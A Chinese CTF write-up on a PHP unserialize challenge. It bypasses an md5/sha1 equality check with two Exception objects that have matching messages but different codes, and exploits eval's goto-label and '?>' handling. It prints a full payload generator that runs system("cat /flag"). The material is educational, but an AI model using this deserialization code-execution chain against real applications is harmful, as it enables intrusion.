0%

利用 Exception类 绕过md5 sha1 等系列

看题目源码 及 分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
highlight_file(__file__);
class Timeline {
public $var3;
function __destruct(){
var_dump(md5($this->var1));
var_dump(md5($this->var2));
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
eval($this->var1);
}
}
}

unserialize($_GET[1]);
//hint
?>

 这边,我们主要看如何绕过if语句,第一想到的就是数组绕过,但是eval 执行的需要是字符串,数组转为字符串后就只剩下:Array 了,显然数组绕过行不通,在加上这边同时使用了MD5 和 sha1 我们想要利用 fastcoll 来碰撞也不行了。

解题分析

 我们传入2个不相等对象,但是他们的__toString 魔法函数返回的一样。这就可以绕过我们的 if 了 ,且eval转为字符串时我们也像办法使其可以被执行。

查找带 __toString 的类

我们使用如下代码遍历:

1
2
3
4
5
6
7
8
<?php
$classes = get_declared_classes(); //返回由已定义类的名字所组成的数组
foreach ($classes as $c) { //get_class_methods返回由类的方法名组成的数组
if (in_array('__toString', get_class_methods($c)))
{
echo $c."\n";
}
}

得到结果如下:

1
2
3
4
5
6
Exception
ErrorException
Error
ParseError
........结果较多,我省略了
mysqli_sql_exception

我们这里利用第一个 Exception

我们去看看它的 toString 方法还回的是个什么。我直接在phpstorm中查看此类没发现它放回的是什么。接着我们看到了construct函数下面的提示:

也就是说它返回的是一个字符串类型的异常信息,我们调试一下进行测试。(同时根据这里我们也发现我们可以控制message和code)

我们发现这个string变量是将要返回的字符串,但是$ex1的string 并不等于$ex2的string,这就意味着md5值不相等(无法绕过),不过也号解决,我们只需要将$ex1 和 $ex2 放在同一行即可。但是这么一改2个类就完全相等了,就过不了($this->var1 != $this->var2) .
 此时我们想起了我们可以传入的code变量,使其不一样,那么类就不相等了。(我截图中已使用)

我们控制 message 来执行代码

前面虽然已经绕过了,但是我们没有插入任何代码进去。我们知道我们可以控制的还有message,他是会在string中回显的如下
我们可以看到外面的代码插进去了,但是怎么执行呢?它前后都有多余代码,直接这样肯定会报错的呀。

eval中不为人知的秘密

例如:我们在eval函数中执行php代码时 想要离开或重进 php 模式 怎么办?

  1. ?><?php(可以省略)之间的表示不以php代码执行(就普通字符,直接显示)
  2. <? 后面的语句继续进入php模式
  3. return 语句会立即中止当前字符串的执行。
  4. 代码执行的作用域是调用 eval() 处的作用域。
    因此,eval()里任何的变量定义、修改,都会在函数结束后被保留。
    测试:
    1
    2
    3
    <?php
    eval("abc: echo \"In PHP mode!\";\$a='mayi077';return; ?> in wef wer <?php system('dir');");
    echo "\n".$a;
    参考链接
    补充一点:__HALT_COMPILER(); 也会中止后面代码的执行。

但是,我们还记得string的值最前面还有个Exception:它不会干扰我们的语句吗?
事实上确实不会我们做如下测试:

1
2
3
4
eval("abc:echo 123;");  //123
eval("abc12:echo 123;"); //123
eval("12a:echo 123;"); //报错
eval("_12a:echo 123;");//123

就是说冒号前是一个合法变量名的话就可以正常执行的。其实这里就牵扯到了 一个 goto 的方法:如以下:

1
2
3
4
5
6
7
8
9
10
<?
echo "start";
goto mayi;
echo "nonono";
mayi : echo "\nmayi";
echo "\n077";
----------------------------
start
mayi
077

就是他会直接跳到我们所做的标记位置。

得到payload

这边再提醒一下,因为Exception 类中有私有或保护类型 而非全部public所以我们进行urlencode进行包装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
class Timeline {
public $var3;
function __destruct(){
var_dump(md5($this->var1));
var_dump(md5($this->var2));
if( ($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1)=== sha1($this->var2)) ){
eval($this->var1);
}
}
}
$cmd ='system("cat /flag");?>';
$ex1 = new Exception($cmd);$ex2 = new Exception($cmd,1);
$timeline = new Timeline();
$timeline->var1 = $ex1;
$timeline->var2 = $ex2;

echo serialize($timeline);

这样就可以完美绕过了。最先开始我还以为要利用到$var3呢,显然是我想多了。


-------------本文结束感谢您的阅读-------------